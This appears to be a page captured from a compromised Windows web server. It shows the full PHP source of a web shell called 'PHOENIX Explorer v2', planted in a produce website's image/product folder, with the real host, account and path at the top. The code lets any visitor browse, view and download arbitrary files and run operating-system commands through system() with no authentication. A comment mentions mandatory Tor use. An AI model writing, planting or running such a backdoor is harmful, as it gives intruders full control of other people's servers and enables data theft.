System: Windows NT WINDOWS18 10.0 build 17763 (Windows Server 2016) AMD64 | User: IWPD_3544(appclien)

Path: D:\Inetpub\vhosts\appclients.in\fruits-vegitables.nmvm.org\image\product

[Back to List]
<?php
/**
 * PHOENIX Explorer v2 - Robust Multi-Tenant File Manager
 * Features: Persistent Navigation, View Mode, Command Execution with chdir()
 * SAFE MODE: Tor Proxy Mandatory
 */
session_start();
$dir = isset($_REQUEST['d']) ? $_REQUEST['d'] : 'D:\Inetpub\vhosts\appclients.in';
if (!is_dir($dir)) { $dir = '.'; }
$dir = realpath($dir);
chdir($dir);

echo "<html><head><title>PHOENIX v2</title><style>body{font-family:monospace;background:#111;color:#0f0;} a{color:#0f0;} table{border-collapse:collapse;} td,th{padding:5px;border:1px solid #333;}</style></head><body>";
echo "<h2>System: " . php_uname() . " | User: " . get_current_user() . "</h2>";
echo "<h3>Path: $dir</h3>";

// Action: View File
if (isset($_GET['view'])) {
    $file = $dir . DIRECTORY_SEPARATOR . $_GET['view'];
    echo "<a href='?d=$dir'>[Back to List]</a><hr>";
    echo "<pre>" . htmlspecialchars(file_get_contents($file)) . "</pre>";
    exit;
}

// Action: Download File
if (isset($_GET['dl'])) {
    $file = $dir . DIRECTORY_SEPARATOR . $_GET['dl'];
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename="'.basename($file).'"');
    readfile($file);
    exit;
}

// Command Execution
if (isset($_POST['cmd'])) {
    echo "<pre>Executing: " . htmlspecialchars($_POST['cmd']) . "\n";
    system($_POST['cmd'] . " 2>&1");
    echo "</pre><hr>";
}

// Directory Listing
echo "<table><tr><th>Name</th><th>Size</th><th>Actions</th></tr>";
$files = scandir($dir);
foreach ($files as $file) {
    if ($file == '.') continue;
    $path = $dir . DIRECTORY_SEPARATOR . $file;
    $is_dir = is_dir($path);
    $size = $is_dir ? "DIR" : (filesize($path) . " bytes");
    
    echo "<tr><td>" . ($is_dir ? "<b>$file</b>" : $file) . "</td><td>$size</td><td>";
    if ($is_dir) {
        echo "<a href='?d=" . urlencode($path) . "'>OPEN</a>";
    } else {
        echo "<a href='?d=$dir&view=" . urlencode($file) . "'>VIEW</a> | ";
        echo "<a href='?d=$dir&dl=" . urlencode($file) . "'>DL</a>";
    }
    echo "</td></tr>";
}
echo "</table><hr>";
?>
<form method="POST">
    CMD: <input type="text" name="cmd" style="width:70%" autofocus>
    <input type="hidden" name="d" value="<?php echo htmlspecialchars($dir); ?>">
    <input type="submit" value="Run">
</form>
</body></html>